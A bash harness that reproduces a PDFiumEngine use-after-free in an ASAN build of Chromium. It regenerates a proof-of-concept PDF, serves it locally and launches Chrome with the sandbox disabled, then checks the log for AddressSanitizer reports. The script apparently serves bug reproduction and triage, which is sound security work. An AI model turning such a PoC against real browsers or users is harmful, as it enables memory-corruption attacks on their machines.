#!/bin/bash
# Reproduce the PDFiumEngine UAF.
set -u

ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
CHROME=${CHROME:-/chromium/chromium/src/out/asan/chrome}
PORT=${PORT:-8123}
PROFILE=$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)
LOG="$ARTIFACTS/chrome-asan.log"

cleanup() {
  [[ -n "${SERVER_PID:-}" ]] && kill "$SERVER_PID" 2>/dev/null
  rm -rf "$PROFILE"
}
trap cleanup EXIT

# Regenerate the PDF (idempotent).
python3 "$ARTIFACTS/gen_pdf.py" "$ARTIFACTS/poc.pdf" >/dev/null

python3 "$ARTIFACTS/server.py" "$PORT" &
SERVER_PID=$!
sleep 1

# detect_container_overflow=0: prevent libc++ vector ASAN annotations from
# unpoisoning the freed visible_pages_ buffer; we want the raw heap-freed
# poison so the push_back write is reported as heap-use-after-free.
export ASAN_OPTIONS="detect_container_overflow=0:detect_odr_violation=0:symbolize=1:handle_abort=1:handle_segv=1"

echo "[run] launching chrome -> $LOG"
timeout 45 "$CHROME" \
  --no-first-run --no-default-browser-check \
  --no-sandbox \
  --disable-gpu \
  --disable-dev-shm-usage \
  --user-data-dir="$PROFILE" \
  --enable-logging=stderr --v=0 \
  "http://127.0.0.1:$PORT/poc.html" \
  > "$LOG" 2>&1

RC=$?
echo "[run] chrome exited rc=$RC"

if grep -q "AddressSanitizer" "$LOG"; then
  echo "[run] *** ASAN report found ***"
  grep -n -E "AddressSanitizer|ERROR:|SUMMARY|#0 |#1 |#2 " "$LOG" | head -40
  exit 0
else
  echo "[run] no ASAN report; tail of log:"
  tail -60 "$LOG"
  exit 1
fi
